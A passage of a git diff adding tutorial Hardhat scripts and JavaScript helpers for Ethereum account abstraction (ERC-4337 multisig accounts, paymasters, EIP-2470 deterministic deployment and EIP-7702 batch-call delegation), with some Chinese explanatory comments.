+  console.log('Tx data hash:', txDataHash);
+  let txSignature = await deployer.signMessage(ethers.getBytes(txDataHash));
+
+  console.log('Tx signature:', txSignature);
+
+
+  txSignature = ethers.Signature.from(txSignature);
+  yParity = txSignature.v === 27 ? '0x' : '0x01';
+  console.log('yParity:', yParity);
+
+  // Construct the fully signed transaction
+  const signedTx = ethers.hexlify(ethers.concat([
+    '0x04',
+    ethers.encodeRlp([
+      ...txData,
+      yParity ,
+      txSignature.r,
+      txSignature.s
+    ])
+  ]));
+
+  // Send the raw transaction to the network
+//  const tx = await ethers.provider.send('eth_sendRawTransaction', [signedTx]);
+  
+  console.log('tx sent: ', tx);
+}
+
+main().then(() => {
+  console.log('Execution completed');
+  process.exit(0);
+}).catch((error) => {
+  console.error(error);
+  process.exit(1);
+});
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/scripts/7702/scripts/executeBatchCallDelegation.js b/basic/49-Account-Abstraction/demowallet/scripts/7702/scripts/executeBatchCallDelegation.js
new file mode 100644
index 000000000..15cec36ef
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/scripts/7702/scripts/executeBatchCallDelegation.js
@@ -0,0 +1,129 @@
+const { ethers } = require('hardhat');
+const fs = require('fs');
+const path = require('path');
+
+const main = async () => {
+  const wallet = new ethers.Wallet(process.env.PRIVATE_KEY, ethers.provider);
+
+  // Read deployment info from JSON file
+  const deploymentPath = path.join(__dirname, '../deployments', `${network.name}.json`);
+  if (!fs.existsSync(deploymentPath)) {
+    throw new Error(`Deployment file not found for network: ${network.name}`);
+  }
+  
+  const deploymentInfo = JSON.parse(fs.readFileSync(deploymentPath, 'utf8'));
+  const BATCH_CALL_DELEGATION_ADDRESS = deploymentInfo.contractAddress;
+  
+  console.log(`Using BatchCallAndSponsorat: ${BATCH_CALL_DELEGATION_ADDRESS}`);
+
+  // Define contract interface with execute function signature
+  const batchInterface = new ethers.Interface([
+    "function execute(tuple(address to, uint256 value, bytes data)[] calls)"
+  ]);
+    
+  // Define sample transaction parameters for batch execution
+  const calls = [
+    {
+      to: "0x84286648B8252bee9BB4F56A1025913C12537E86",
+      value: ethers.parseEther("0.001"),
+      data: "0x",
+    },
+    {
+      to: "0xE9e4e7ee5187f8B6EDeB96c31De32A8594A97A53",
+      value: 0,
+      data: "0xa9059cbb000000000000000000000000ec22b01a5b7f05a4ffae86a1864176f86b05aa3c000000000000000000000000000000000000000000000000000000e8d4a51000",
+     
+
+    }
+  ];
+
+  // Encode the execute function call with parameters
+  const calldata = batchInterface.encodeFunctionData("execute", [calls]);
+
+  const currentNonce = await ethers.provider.getTransactionCount(wallet.address);
+
+  const authorizationData = {
+    chainId: '0xaa36a7',
+    address: BATCH_CALL_DELEGATION_ADDRESS,
+    nonce: ethers.toBeHex(currentNonce + 1),
+  }
+
+  // Encode authorization data according to EIP-712 standard
+  const encodedAuthorizationData = ethers.concat([
+    '0x05', // MAGIC code for EIP7702
+    ethers.encodeRlp([
+      authorizationData.chainId,
+      authorizationData.address,
+      authorizationData.nonce,
+    ])
+  ]);
+
+  // Generate and sign authorization data hash
+  const authorizationDataHash = ethers.keccak256(encodedAuthorizationData);
+  const authorizationSignature = wallet.signingKey.sign(authorizationDataHash);
+
+  // Store signature components
+  authorizationData.yParity = authorizationSignature.yParity == 0 ? '0x' : '0x01';
+  authorizationData.r = authorizationSignature.r;
+  authorizationData.s = authorizationSignature.s;
+
+  // Get current gas fee data from the network
+  const feeData = await ethers.provider.getFeeData();
+
+  // Prepare complete transaction data structure
+  const txData = [
+    authorizationData.chainId,
+    ethers.toBeHex(currentNonce),
+    ethers.toBeHex(feeData.maxPriorityFeePerGas), // Priority fee (tip)
+    ethers.toBeHex(feeData.maxFeePerGas), // Maximum total fee willing to pay
+    ethers.toBeHex(1000000), // Gas limit
+    wallet.address, // Sender address
+    '0x', // Value (in addition to batch transfers)
+    calldata, // Encoded function call
+    [], // Access list (empty for this transaction)
+    [
+      [
+        authorizationData.chainId,
+        authorizationData.address,
+        authorizationData.nonce,
+        authorizationData.yParity,
+        authorizationData.r,
+        authorizationData.s
+      ]
+    ]
+  ];
+
+  // Encode final transaction data with version prefix
+  const encodedTxData = ethers.concat([
+    '0x04', // Transaction type identifier
+    ethers.encodeRlp(txData)
+  ]);
+
+  // Sign the complete transaction
+  const txDataHash = ethers.keccak256(encodedTxData);
+  const txSignature = wallet.signingKey.sign(txDataHash);
+
+  // Construct the fully signed transaction
+  const signedTx = ethers.hexlify(ethers.concat([
+    '0x04',
+    ethers.encodeRlp([
+      ...txData,
+      txSignature.yParity == 0 ? '0x' : '0x01',
+      txSignature.r,
+      txSignature.s
+    ])
+  ]));
+
+  // Send the raw transaction to the network
+  const tx = await ethers.provider.send('eth_sendRawTransaction', [signedTx]);
+  
+  console.log('tx sent: ', tx);
+}
+
+main().then(() => {
+  console.log('Execution completed');
+  process.exit(0);
+}).catch((error) => {
+  console.error(error);
+  process.exit(1);
+});
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/scripts/basic.js b/basic/49-Account-Abstraction/demowallet/scripts/basic.js
new file mode 100644
index 000000000..4c6bf9d5f
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/scripts/basic.js
@@ -0,0 +1,132 @@
+const { EntryPoint__factory } = require("@account-abstraction/contracts");
+const { ethers } = require("hardhat");
+const {DeterministicDeployer} = require('@account-abstraction/sdk');
+const {MultiSigAccountAPI, getAAProvider} = require("../src/api/multi_sig_account_api");
+//Please run this with --network localhost
+async function main(){    
+    const [signer1, signer2, bundler] = await ethers.getSigners();
+    // entryPointContract: new ethers.Contract("0x1306b01bC3e4AD202612D3843387e94737673F53", EntryPoint__factory.abi),
+    const entryPointContract = await getEntryPoint("0x1306b01bC3e4AD202612D3843387e94737673F53");
+    const threshold = 2;
+    const bundlerUrl= "http://localhost:3000/rpc"
+    const targetContract = await getTargetContract();
+    //1. deploy an account
+    console.log('start deploying aa account');
+    const demoAccountContract = await deploy_account([signer1, signer2] , entryPointContract.address, threshold);
+    //2. Fund the account to pay for gas
+    console.log('start funding aa account');
+    await fund_aa(entryPointContract, demoAccountContract.address, signer2);
+    //3. Prepare aa provider to interact with bundler.
+    const aaProvider = await getAAProvider(entryPointContract.address, demoAccountContract.address, bundlerUrl, ethers.provider, signer1, signer2);
+    //4. simuate validation and execution
+    console.log('start simulate');
+    // await simulateChangeThreshold(demoAccountContract, threshold, entryPointContract, aaProvider, bundler);
+    //5. execute "changeThreshold" function in our aa account
+    console.log('start send changeThreshold');
+    await sendChangeThreshold(demoAccountContract, threshold, entryPointContract, aaProvider);
+    //6. execute "setVal" function on target contract throught "execute" function in our aa account
+    console.log('start send SetValToTargetContract');
+    await sendSetValToTargetContract(targetContract, 666, 2000, aaProvider);
+    
+}
+
+
+async function deploy_account(signers, entryPointAddress, threshold) {
+    const signerAddrs = [];
+    for(signer of signers){
+        signerAddrs.push(signer.address);
+    }
+    //1. Deploy 
+    const DemoAccountFactory = await ethers.getContractFactory("DemoAccount", signers[0]);
+    const demoAccountContract = await DemoAccountFactory.deploy(
+        entryPointAddress, 
+        threshold, 
+        signers[0].address,
+        signerAddrs);
+    await demoAccountContract.deployed();
+
+    //2. Fund the account to transfer eth(this is not used to pay for gas)
+    const tx = {to: demoAccountContract.address, value: ethers.utils.parseEther("1.0")};
+    await (await signers[0].sendTransaction(tx)).wait();
+    console.log(`Deployed to ${demoAccountContract.address}`);
+    return demoAccountContract
+}
+
+
+async function fund_aa(entryPointContract, accountAddress, funderSigner) {
+    const fundTx = await entryPointContract.connect(funderSigner).depositTo(accountAddress, {value: ethers.utils.parseEther("0.5")});
+    await fundTx.wait();
+    console.log('fund complete')
+    const balance = await entryPointContract.connect(funderSigner).balanceOf(accountAddress);
+    console.log(`account ${accountAddress} now has ${ethers.utils.formatEther(balance)} ether`)
+}
+
+async function simulateChangeThreshold(demoAccountContract, threshold, entryPointContract, aaProvider, bundler){
+    //1. We could simulateValidation ourself. But DONT USE IT IN PRODUCTION, it is the bundler's reponsibility.
+    const tx = await demoAccountContract.populateTransaction.changeThreshold(threshold);
+    var userOperation = await aaProvider.smartAccountAPI.createSignedUserOp({
+      target: tx.to ?? '',
+      data: tx.data?.toString() ?? '',
+      value: tx.value,
+      gasLimit: tx.gasLimit
+    });
+    console.log(userOperation);
+    try{
+        await (await entryPointContract.connect(bundler).simulateValidation(userOperation)).wait();
+    }
+    catch(e){
+        //This should have "ValidationResult as error"
+        console.log(e);
+    }
+
+    try{
+        await (await entryPointContract.connect(bundler).simulateHandleOp(userOperation)).wait();
+    }
+    catch(e){
+        //This should have "ExecutionResult as error"
+        console.log(e);
+    }
+}
+
+async function sendChangeThreshold(demoAccountContract, threshold, entryPointContract, aaProvider){
+    const aaSigner = aaProvider.getSigner();
+    await (await demoAccountContract.connect(aaSigner).changeThreshold(threshold)).wait();
+}
+
+async function sendSetValToTargetContract(targetContract, val, value, aaProvider){
+    const aaSigner = aaProvider.getSigner();
+    await (await targetContract.connect(aaSigner).setVal(val, {value: value})).wait();
+
+    const newVal = await targetContract.connect(aaProvider).val();
+    const balance = await aaProvider.getBalance(targetContract.address);
+    console.log(`target contract now has val ${newVal}, balance ${balance}`);
+}
+
+async function getEntryPoint(entryPointAddress) {   
+    //目前这个版本有bug，但是确实是这么调用的，应该是ABI和实际代码不匹配，导致unrecgonized custom error先注释掉
+    const dep = new DeterministicDeployer(ethers.provider);
+    const address = await dep.deterministicDeploy(EntryPoint__factory.bytecode);
+    console.log(`ep deployed to ${address}`)
+    return new ethers.Contract(address, EntryPoint__factory.abi);
+
+
+    // const DBG = await ethers.getContractFactory("EntryPointDbg");
+    // const ep = await DBG.deploy();
+    // await ep.deployed();
+    // return ep;
+}
+
+async function getTargetContract(){
+    const Factory = await ethers.getContractFactory("TargetContract");
+    const contract = await Factory.deploy();
+    await contract.deployed();
+    return contract;
+}
+
+try{
+    main()
+}
+catch(e){
+    console.log(e)
+}
+
diff --git a/basic/49-Account-Abstraction/demowallet/scripts/deploy.js b/basic/49-Account-Abstraction/demowallet/scripts/deploy.js
new file mode 100644
index 000000000..591022146
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/scripts/deploy.js
@@ -0,0 +1,36 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+const { wrapProvider } = require('@account-abstraction/sdk'); 
+
+async function main() {
+  const [signer] = await ethers.getSigners();
+  const entryPointAddress = "0x1306b01bC3e4AD202612D3843387e94737673F53";
+  const config = {
+    chainId: await ethers.provider.getNetwork().then(net => net.chainId),
+    entryPointAddress,
+    bundlerUrl: 'http://localhost:3000/rpc'
+  } 
+
+  
+  const aaProvider = await wrapProvider(ethers.provider, config, signer);
+  const walletAddress = await aaProvider.getSigner().getAddress();
+  console.log(walletAddress);
+  // send some eth to the wallet Address: wallet should have some balance to pay for its own creation, and for calling methods.
+  
+  // const myContract = new Contract(abi, aaProvider)
+  
+  // // this method will get called from the wallet address, through account-abstraction EntryPoint
+  // await myContract.someMethod()
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/49-Account-Abstraction/demowallet/scripts/eip2470.js b/basic/49-Account-Abstraction/demowallet/scripts/eip2470.js
new file mode 100644
index 000000000..fa348bb65
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/scripts/eip2470.js
@@ -0,0 +1,62 @@
+const { ethers } = require("hardhat");//not ethers
+
+
+async function main(){    
+    //Check is factory deployed
+    const factoryAddress =await  ensure2470FactoryDeployed();
+
+    //Pre calculate contract address
+    var initCode = "0x608060405234801561001057600080fd5b506040516101b33803806101b38339818101604052810190610032919061007a565b80600081905550506100a7565b600080fd5b6000819050919050565b61005781610044565b811461006257600080fd5b50565b6000815190506100748161004e565b92915050565b6000602082840312156100905761008f61003f565b5b600061009e84828501610065565b91505092915050565b60fe806100b56000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063371303c014602d575b600080fd5b60336035565b005b6000808154809291906045906085565b9190505550565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000819050919050565b6000608e82607b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820360bd5760bc604c565b5b60018201905091905056fea264697066735822122004ae84a028bac75deaaa2f46f118a3215e7c7c999144352edcf883f28685d23864736f6c63430008110033000000000000000000000000000000000000000000000000000000000000000b";
+    const salt = ethers.utils.hexZeroPad(0xabcd, 32);
+    const address = "0x" + ethers.utils.keccak256(ethers.utils.hexConcat([
+        0xff,//header
+        factoryAddress,//sender
+        salt,//salt
+        ethers.utils.keccak256(initCode) //initCodeHash
+    ])).slice(-40);
+    console.log('Precalculated address '+address);
+    
+    //judge if it exists
+    var deployedCode = await ethers.provider.getCode(address);
+    if (deployedCode && deployedCode.length > 2) return;
+    
+    //deploy it
+    const deployTx = {to: factoryAddress, data: ethers.utils.hexConcat([
+        salt,
+        initCode
+    ])}
+    const receipt = await (await ethers.provider.getSigner().sendTransaction(deployTx)).wait();
+    var deployedCode = await ethers.provider.getCode(address);
+    console.log("deployed:"+deployedCode);
+}
+
+async function ensure2470FactoryDeployed() {
+    //EIP-2470 defined parameters
+    const factoryAddress = "0x4e59b44847b379578588920ca78fbf26c0b4956c";
+    const oneTimeAccount = "0x3fab184622dc19b6109349b94811493bf2a45362";
+    const fundingEther = "0.0247";
+    const deploymentTx = "0xf8a58085174876e800830186a08080b853604580600e600039806000f350fe7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe03601600081602082378035828234f58015156039578182fd5b8082525050506014600cf31ba02222222222222222222222222222222222222222222222222222222222222222a02222222222222222222222222222222222222222222222222222222222222222";
+        
+    const factoryCode = await ethers.provider.getCode(factoryAddress);
+    if (factoryCode && factoryCode.length > 2) {
+        return factoryAddress;
+    }
+
+    //Fund oneTimeAccount to let it pay for gas
+    const fundTx = {to: oneTimeAccount, value: ethers.utils.parseEther(fundingEther)};
+    await (await ethers.provider.getSigner().sendTransaction(fundTx)).wait();
+    console.log('fund one time address complete');
+
+    //Deploy singleton factory via oneTimeAccount 
+    const receipt = await (await ethers.provider.sendTransaction(deploymentTx)).wait();
+
+    return factoryAddress;
+}
+
+
+
+try{
+    main();
+} catch(e){
+    console.log(e);
+}
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/scripts/fac_and_paymaster.js b/basic/49-Account-Abstraction/demowallet/scripts/fac_and_paymaster.js
new file mode 100644
index 000000000..87b6fadd0
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/scripts/fac_and_paymaster.js
@@ -0,0 +1,171 @@
+const { EntryPoint__factory } = require("@account-abstraction/contracts");
+const { ethers } = require("hardhat");
+const {DeterministicDeployer, PaymasterAPI} = require('@account-abstraction/sdk');
+const {MsigPaymasterAccountAPI, getAAProvider} = require("../src/api/msig_paymaster_api");
+const {PaymasterAPINaive} = require("../src/paymaster/paymaster_api_naive");
+const {computeAddress} = require("../src/utils/create2");
+const {packUserOp} = require("@account-abstraction/utils");
+const demoAccountABI = require("../artifacts/contracts/DemoAccount.sol/DemoAccount.json").abi;
+const entryPointAbi = require("../artifacts/contracts/EntryPointDbg.sol/EntryPointDbg.json").abi;
+//Please run this with --network localhost
+async function main(){    
+    const [signer1, signer2, bundler] = await ethers.getSigners();
+    // entryPointContract: new ethers.Contract("0x1306b01bC3e4AD202612D3843387e94737673F53", EntryPoint__factory.abi),
+    const entryPointContract = await getEntryPoint("0x1306b01bC3e4AD202612D3843387e94737673F53");
+    const threshold = 2;
+    const bundlerUrl= "http://localhost:3000/rpc"
+    const targetContract = await getTargetContract();
+    //1. prepare factory and paymaster
+    const factoryContract = await createAccountFactory(signer1);
+    const [senderAddress, senderInitCode, senderSalt] = await computeSenderAddress(factoryContract.address, entryPointContract.address, threshold, [signer1, signer2]);
+    const paymasterAddress = await createAndFundPaymaster(entryPointContract, signer1, senderAddress);
+    const demoAccountContract = new ethers.Contract(senderAddress, demoAccountABI);
+    //2. Prepare aa provider to interact with bundler.
+    const facInfo = {
+        factoryContract: factoryContract,
+        senderInitCode: senderInitCode,
+        senderSalt: senderSalt
+    };
+    
+    const aaProvider = await getAAProvider(
+        entryPointContract.address, 
+        senderAddress, 
+        bundlerUrl, 
+        ethers.provider, 
+        [signer1, signer2],
+        facInfo,
+        new PaymasterAPINaive(paymasterAddress)
+        );
+
+    // //3. simuate validation and execution
+    console.log('start simulate');
+    //
+    //await simulateChangeThreshold(demoAccountContract, threshold, entryPointContract, aaProvider, bundler);
+    // await simulateSendSetValToTargetContract(targetContract, 666, 2000, aaProvider);
+    //4. execute "changeThreshold" function in our aa account
+    console.log('start send changeThreshold');
+    await sendChangeThreshold(demoAccountContract, threshold, entryPointContract, aaProvider);
+    //5. execute "setVal" function on target contract throught "execute" function in our aa account
+    console.log('start send SetValToTargetContract');
+    await sendSetValToTargetContract(targetContract, 666, 1000, aaProvider);
+    
+}
+
+async function computeSenderAddress(factoryAddress, entryPointAddress, threshold, signers) {
+    const signersAddr = [];
+    for(signer of signers){
+        signersAddr.push(signer.address);
+    }
+    
+    const SenderFactory = await ethers.getContractFactory("DemoAccount");
+    const creationCode = SenderFactory.bytecode;
+    
+    const argsEncoded = ethers.utils.defaultAbiCoder.encode(["address", "uint8", "address", "address[]"], [entryPointAddress, threshold, signersAddr[0], signersAddr]);
+    const initCode = ethers.utils.solidityPack(["bytes", "bytes"], [creationCode, argsEncoded]);
+
+    const salt = ethers.utils.hexZeroPad(0x1234, 32);
+    const sender =  computeAddress(factoryAddress, initCode, salt);
+    console.log(`predicted sender addrss is ${sender}`);
+    return [sender, initCode, salt];
+}
+
+async function createAccountFactory(signer) {
+    const Factory = await ethers.getContractFactory("ERC4337Factory", signer);
+    const factoryContract = await Factory.deploy();
+    await factoryContract.deployed();
+
+    console.log(`factory deployed to ${factoryContract.address}`);
+    return factoryContract;
+}
+
+async function createAndFundPaymaster(entryPointContract, signer, senderAddress) {
+    //1. 将sender作为构造参数，部署Paymaster
+    const Factory = await ethers.getContractFactory("GasPrefundPaymaster", signer);
+    const paymasterContract = await Factory.deploy(senderAddress, entryPointContract.address);
+    await paymasterContract.deployed();
+    console.log(`paymaster deployed to ${paymasterContract.address}`);
+    //2. 调用Paymaster，冲入gas启动资金，后续EF会使用这笔资金来付gas
+    await (await paymasterContract.connect(signer).addDepositForSender({value: ethers.utils.parseEther("1.0")})).wait();
+    const paymasterBalance = await entryPointContract.connect(signer).balanceOf(paymasterContract.address);
+    console.log(`Fund paymaster for gas complete, now paymaster have ${ethers.utils.formatEther(paymasterBalance)} ether`);
+
+    //.3 为paymaster冲入一些其业务方面的启动资金，便于它在valiate阶段给sender充值
+    const tx = {to: paymasterContract.address, value: ethers.utils.parseEther("1.0")};
+    await (await signer.sendTransaction(tx)).wait();
+    console.log(`Fund paymaster for start-up complete, now paymaster have ${ethers.utils.formatEther(paymasterBalance)} ether`);
+    return paymasterContract.address;
+}
+
+async function simulateChangeThreshold(demoAccountContract, threshold, entryPointContract, aaProvider, bundler){
+    //1. We could simulateValidation ourself. But DONT USE IT IN PRODUCTION, it is the bundler's reponsibility.
+    const tx = await demoAccountContract.populateTransaction.changeThreshold(threshold);
+    var userOperation = await aaProvider.smartAccountAPI.createSignedUserOp({
+      target: tx.to ?? '',
+      data: tx.data?.toString() ?? '',
+      value: tx.value,
+      gasLimit: tx.gasLimit
+    });
+    
+    
+    // try{
+    //     await (await entryPointContract.connect(bundler).simulateValidation(userOperation)).wait();
+    // }
+    // catch(e){
+    //     //This should have "ValidationResult as error"
+    //     console.log(e);
+    // }
+
+    // try{
+    //     await (await entryPointContract.connect(bundler).simulateHandleOp(userOperation)).wait();
+    //     console.log('complete')
+    // }
+    // catch(e){
+    //     //This should have "ExecutionResult as error"
+    //     console.log(e);
+    // }
+}
+
+
+async function sendChangeThreshold(demoAccountContract, threshold, entryPointContract, aaProvider){
+    const aaSigner = aaProvider.getSigner();
+    await (await demoAccountContract.connect(aaSigner).changeThreshold(threshold)).wait();
+}
+
+async function sendSetValToTargetContract(targetContract, val, value, aaProvider){
+    const aaSigner = aaProvider.getSigner();
+    await (await targetContract.connect(aaSigner).setVal(val, {value: value})).wait();
+
+    const newVal = await targetContract.connect(aaProvider).val();
+    const balance = await aaProvider.getBalance(targetContract.address);
+    console.log(`target contract now has val ${newVal}, balance ${balance}`);
+}
+
+async function getEntryPoint(entryPointAddress) {   
+    //目前这个版本有bug，但是确实是这么调用的，应该是ABI和实际代码不匹配，导致unrecgonized custom error先注释掉
+    const dep = new DeterministicDeployer(ethers.provider);
+    const address = await dep.deterministicDeploy(EntryPoint__factory.bytecode);
+    console.log(`ep deployed to ${address}`)
+    return new ethers.Contract(address, EntryPoint__factory.abi);
+
+    //可以本地调试，解决各种问题
+    // const DBG = await ethers.getContractFactory("EntryPointDbg");
+    // const ep = await DBG.deploy();
+    // await ep.deployed();
+    // return ep;
+}
+
+async function getTargetContract(){
+    const Factory = await ethers.getContractFactory("TargetContract");
+    const contract = await Factory.deploy();
+    await contract.deployed();
+    return contract;
+}
+
+try{
+    main()
+}
+catch(e){
+
+    // console.log(e)
+}
+
diff --git a/basic/49-Account-Abstraction/demowallet/src/api/msig_paymaster_api.js b/basic/49-Account-Abstraction/demowallet/src/api/msig_paymaster_api.js
new file mode 100644
index 000000000..6cadf7e59
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/src/api/msig_paymaster_api.js
@@ -0,0 +1,131 @@
+const { ERC4337EthersProvider, ERC4337EthersSigner, HttpRpcClient, DefaultGasOverheads } = require("@account-abstraction/sdk");
+const {MultiSigAccountAPI} = require("./multi_sig_account_api");
+const {EntryPoint__factory} =require("@account-abstraction/contracts");
+const { ethers , BigNumber} = require("ethers");
+
+class MsigPaymasterAccountAPI extends MultiSigAccountAPI {
+  
+    constructor(params) {
+        super(params);
+        this.factoryContract = params.facInfo.factoryContract;
+        this.senderInitCode = params.facInfo.senderInitCode;
+        this.senderSalt = params.facInfo.senderSalt;
+    }
+    
+    //address(20bytes) + calldata(selector + creationCode + args)
+    async getAccountInitCode() {
+        const calldata = this.factoryContract.interface.encodeFunctionData("deploy", [this.senderInitCode,this.senderSalt]);
+        return ethers.utils.solidityPack(["address", "bytes"],[this.factoryContract.address, calldata]);
+    }
+
+    //Because address is not deployed yet, we cannot access the nonce in the contract directly
+    async getNonce() {
+      if (await this.checkAccountPhantom()){
+          return 0;
+      }
+      return super.getNonce();
+  }
+
+    //I rewrite it because there are three potential defects on calculation of preVerificationGas in bundler of eth-infinitism.
+    //Here is the pull request:https://github.com/eth-infinitism/bundler/pull/43
+    async createUnsignedUserOp (info){
+        const {
+          callData,
+          callGasLimit
+        } = await this.encodeUserOpCallDataAndGasLimit(info)
+        const initCode = await this.getInitCode()
+    
+        const initGas = await this.estimateCreationGas(initCode)
+        const verificationGasLimit = BigNumber.from(await this.getVerificationGasLimit())
+          .add(initGas)
+    
+        let {
+          maxFeePerGas,
+          maxPriorityFeePerGas
+        } = info;
+
+        if (!maxFeePerGas || !maxPriorityFeePerGas) {
+          const feeData = await this.provider.getFeeData()
+          if (!maxFeePerGas) {
+            maxFeePerGas = feeData.maxFeePerGas ?? undefined
+          }
+          if (!maxPriorityFeePerGas) {
+            maxPriorityFeePerGas = feeData.maxPriorityFeePerGas ?? undefined
+          }
+        }
+    
+        var partialUserOp = {
+          sender: this.getAccountAddress(),
+          nonce: this.getNonce(),
+          initCode,
+          callData,
+          callGasLimit,
+          verificationGasLimit,
+          maxFeePerGas,
+          maxPriorityFeePerGas,
+          paymasterAndData: "0x"
+        }
+
+        let paymasterAndData;
+
+        if (this.paymasterAPI) {
+          // fill (partial) preVerificationGas (all except the cost of the generated paymasterAndData)
+          const userOpForPm = {
+            ...partialUserOp,
+            preVerificationGas: await this.getPreVerificationGas(partialUserOp)
+          }
+          paymasterAndData = await this.paymasterAPI.getPaymasterAndData(userOpForPm)
+        }
+        partialUserOp.paymasterAndData = paymasterAndData ?? '0x'
+        return {
+          ...partialUserOp,
+          preVerificationGas: this.getPreVerificationGas(partialUserOp),
+          signature: ''
+        }
+      }
+}
+  
+
+async function getAAProvider(entryPointAddress, accountContractAddress, bundlerUrl, originalProvider, signers, facInfo, paymasterAPI) {
+
+    const clientConfig = {
+      entryPointAddress: entryPointAddress,
+      bundlerUrl: bundlerUrl,
+      walletAddres: accountContractAddress,
+    };
+
+    const chainId = await originalProvider.getNetwork().then(net => net.chainId);
+    const httpRpcClient = new HttpRpcClient(clientConfig.bundlerUrl, clientConfig.entryPointAddress, chainId);
+    const entryPoint = EntryPoint__factory.connect(clientConfig.entryPointAddress, signers[0]);
+
+    const smartAccountAPI = new MsigPaymasterAccountAPI(
+        {
+            provider: originalProvider,
+            entryPointAddress: clientConfig.entryPointAddress,
+            accountAddress: clientConfig.walletAddres,
+            signers: signers,
+            overheads: {
+                ...DefaultGasOverheads,
+                fixed: 30000
+            },
+            facInfo,//To initCode
+            paymasterAPI//to implement paymasterAndData
+        }
+    );
+  
+    const aaProvider = await new ERC4337EthersProvider(
+        chainId,
+        clientConfig,
+        signers[0],
+        originalProvider,
+        httpRpcClient,
+        entryPoint,
+        smartAccountAPI
+    );
+    return aaProvider;
+}
+
+module.exports = {
+    MsigPaymasterAccountAPI,
+    getAAProvider
+}
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/src/api/multi_sig_account_api.js b/basic/49-Account-Abstraction/demowallet/src/api/multi_sig_account_api.js
new file mode 100644
index 000000000..850443310
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/src/api/multi_sig_account_api.js
@@ -0,0 +1,102 @@
+const { ERC4337EthersProvider, ERC4337EthersSigner, HttpRpcClient, DefaultGasOverheads } = require("@account-abstraction/sdk");
+const {BaseAccountAPI} = require("@account-abstraction/sdk/dist/src/BaseAccountAPI");
+const {EntryPoint__factory} =require("@account-abstraction/contracts");
+const { ethers } = require("ethers");
+const abi = require("../../artifacts/contracts/DemoAccount.sol/DemoAccount.json").abi;
+class MultiSigAccountAPI extends BaseAccountAPI {
+  
+    constructor(params) {
+        super(params);
+        this.signers = params.signers;
+    }
+  
+    async getAccountInitCode() {
+        //对应initCode字段
+        return "0x";
+    }
+    
+    async getNonce() {
+        //对应nonce字段
+        const senderAddr = await this.getAccountAddress();
+        const accountContract = new ethers.Contract(senderAddr, abi);
+        const originalProvider = this.provider;
+        const nonce = await accountContract.connect(originalProvider).nonce();
+        console.log('current nonce '+nonce);
+        return nonce;
+    }
+    async encodeExecute(target, value, data){
+        const senderAddr = await this.getAccountAddress();
+        if (senderAddr.toLowerCase() != target.toLowerCase() ) {
+            //In this case this gonna call some other contract so we go through "execute"
+            const senderContract = new ethers.Contract(ethers.constants.AddressZero, abi);
+            return senderContract.interface.encodeFunctionData("execute", [target, data, value]);
+        } else{
+            //In this case this is the call to sender itself
+            return data;
+        }
+    }
+    async signUserOpHash (userOpHash) {
+        //对应signature字段。你可以使用BLS等各式各样的签名手段，只要链上可以验证即可
+        var signatures = [];
+        const userOpHashBytes = ethers.utils.arrayify(userOpHash);
+        for (var signer of this.signers){
+          const addrStr = signer.address.substring(2);//remove 0x
+          const sigStr = (await signer.signMessage(userOpHashBytes)).substring(2);//remove 0x
+          signatures.push(addrStr);//remove 0x
+          signatures.push(sigStr);//remove 0x
+        }
+        return "0x"+ signatures.join('');
+    }
+
+    //For debug
+    async createSignedUserOp (info){
+        const ret = await super.createSignedUserOp(info);
+        // console.log(ret);
+        return ret;
+    }
+
+
+}
+  
+
+async function getAAProvider(entryPointAddress, accountContractAddress, bundlerUrl, originalProvider, originalSigner, originalSigner2) {
+
+    const clientConfig = {
+      entryPointAddress: entryPointAddress,
+      bundlerUrl: bundlerUrl,
+      walletAddres: accountContractAddress,
+    };
+    
+    const chainId = await originalProvider.getNetwork().then(net => net.chainId);
+    const httpRpcClient = new HttpRpcClient(clientConfig.bundlerUrl, clientConfig.entryPointAddress, chainId);
+    const entryPoint = EntryPoint__factory.connect(clientConfig.entryPointAddress, originalSigner);
+
+    const smartAccountAPI = new MultiSigAccountAPI(
+        {
+            provider: originalProvider,
+            entryPointAddress: clientConfig.entryPointAddress,
+            accountAddress: clientConfig.walletAddres,
+            signers: [originalSigner, originalSigner2],
+            overheads: {
+                ...DefaultGasOverheads,
+                fixed: 30000
+              }
+        }
+    );
+  
+    const aaProvider = await new ERC4337EthersProvider(
+        chainId,
+        clientConfig,
+        originalSigner,
+        originalProvider,
+        httpRpcClient,
+        entryPoint,
+        smartAccountAPI
+    );
+    return aaProvider;
+}
+
+module.exports = {
+    MultiSigAccountAPI,
+    getAAProvider
+}
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/src/paymaster/paymaster_api_naive.js b/basic/49-Account-Abstraction/demowallet/src/paymaster/paymaster_api_naive.js
new file mode 100644
index 000000000..11f72327d
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/src/paymaster/paymaster_api_naive.js
@@ -0,0 +1,19 @@
+const {PaymasterAPI} = require("@account-abstraction/sdk/dist/src/PaymasterAPI");
+
+
+class PaymasterAPINaive extends PaymasterAPI {
+    
+    constructor(paymasterAddr) {
+        super();
+        this.paymasterAddr = paymasterAddr;    
+    }
+
+    //虽然4337规定了paymaster由paymaster+data构成，但是当前（0.4.0）版本下，paymasterAndData其实只有paymaster部分被用到
+    async getPaymasterAndData (userOp) {
